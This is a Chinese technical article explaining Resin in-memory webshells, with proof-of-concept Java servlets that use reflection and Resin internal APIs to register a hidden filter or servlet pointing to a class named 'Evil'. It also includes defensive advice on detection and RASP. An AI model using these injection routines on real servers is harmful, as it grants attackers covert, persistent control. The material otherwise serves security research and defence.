Resin内存马逆袭之路
字数 1218 2025-08-26 22:11:35
Resin内存马技术深入解析与实现
前言
随着红蓝对抗的日益激烈,传统的Webshell文件免杀技术已难以应对蓝队的检测。内存马作为一种无文件Webshell技术,因其隐蔽性高、难以检测的特点,成为红队研究的热点。本文详细解析Resin应用服务器内存马技术,包括Filter和Servlet两种实现方式。
Resin简介
Resin是CAUCHO公司开发的Application Server,特点包括:
- 支持Servlet和JSP引擎
- 高性能
- 可与Apache、IIS等WEB服务器协同工作
- 支持负载均衡
调试环境搭建
所需工具
- IDEA: 2022.2
- Resin: 4.0.58
- JDK: JDK8u261
搭建步骤
- IDEA安装Resin插件
- 创建Resin项目
- 生成war包
- 导入resin/lib库
- 修改resin/conf/resin.xml中的
<web-app id="/" root-directory="绝对路径"/> - 启动调试环境
内存马实现原理
核心思路
- 获取当前请求的上下文对象
- 动态注册恶意Filter或Servlet
- 通过反射绕过访问限制
Filter内存马实现
获取ServletRequest对象
ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader()
.loadClass("com.caucho.server.dispatch.ServletInvocation")
.getMethod("getContextRequest").invoke(null);
获取WebApp对象
WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);
Resin Filter管理结构
_filterManager: 管理所有Filter_filters: 以Map形式存储FilterConfigImpl对象_urlPatterns: 存储Filter名和对应URL
_filterMap: 以List形式存储FilterMapping对象
关键反射代码
// 获取_filtermanager
Field filtermanager_field = webApp.getClass().getDeclaredField("_filterManager");
filtermanager_field.setAccessible(true);
FilterManager filterManager = (FilterManager) filtermanager_field.get(webApp);
// 获取_filters
Field filters_field = filterManager.getClass().getDeclaredField("_filters");
filters_field.setAccessible(true);
HashMap<String, FilterConfigImpl> filters = (HashMap<String, FilterConfigImpl>) filters_field.get(filterManager);
Filter注册POC
public class TestFilter extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse res) {
String filtername = "FilterShell";
String url = "/filter";
Class clzz;
try {
// 获取request对象
ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader()
.loadClass("com.caucho.server.dispatch.ServletInvocation")
.getMethod("getContextRequest").invoke(null);
// 获取webapp
WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);
clzz = Thread.currentThread().getContextClassLoader().loadClass("com.test.Evil");
FilterMapping filterMapping = new FilterMapping();
filterMapping.setFilterClass(clzz.getName());
filterMapping.setFilterName(filtername);
FilterMapping.URLPattern urlPattern = filterMapping.createUrlPattern();
urlPattern.addText(url);
webApp.addFilterMapping(filterMapping);
res.getWriter().write("Resin Filter Inject Success!!");
} catch (Exception ignored) {}
}
}
Servlet内存马实现
Servlet管理结构
_serlvetName: Servlet名称_servletClassName: Servlet类名_servletClass: Servlet类_urlPatterns: URL匹配模式
Servlet注册POC
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {
String servletname = "ServletShell";
String url = "/servlet";
Class clazz;
try {
ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader()
.loadClass("com.caucho.server.dispatch.ServletInvocation")
.getMethod("getContextRequest").invoke(null);
WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);
ServletMapping servletMapping = new ServletMapping();
servletMapping.addURLPattern(url);
servletMapping.setServletName(servletname);
clazz = Thread.currentThread().getContextClassLoader().loadClass("com.test.Evil");
servletMapping.setServletClass(clazz.getName());
webApp.addServletMapping(servletMapping);
res.getWriter().write("Resin Servlet Inject Success!!");
} catch (Exception ignored) {}
}
}
关键技术点
- 上下文获取:通过
ServletInvocation.getContextRequest()获取当前请求对象 - WebApp转换:将ServletRequest转换为WebApp对象
- 反射运用:通过反射访问私有字段和方法
- 动态注册:利用Resin的API动态添加Filter或Servlet映射
防御建议
- 监控Resin中动态添加的Filter和Servlet
- 检查
_filterManager和_filterMap的异常修改 - 限制反射调用权限
- 部署RASP解决方案检测内存马行为
总结
本文详细解析了Resin内存马的实现原理和技术细节,包括Filter和Servlet两种实现方式。通过反射和Resin内部API的巧妙运用,攻击者可以在不落地文件的情况下实现持久化控制。蓝队需要深入了解这些技术原理,才能有效防御此类攻击。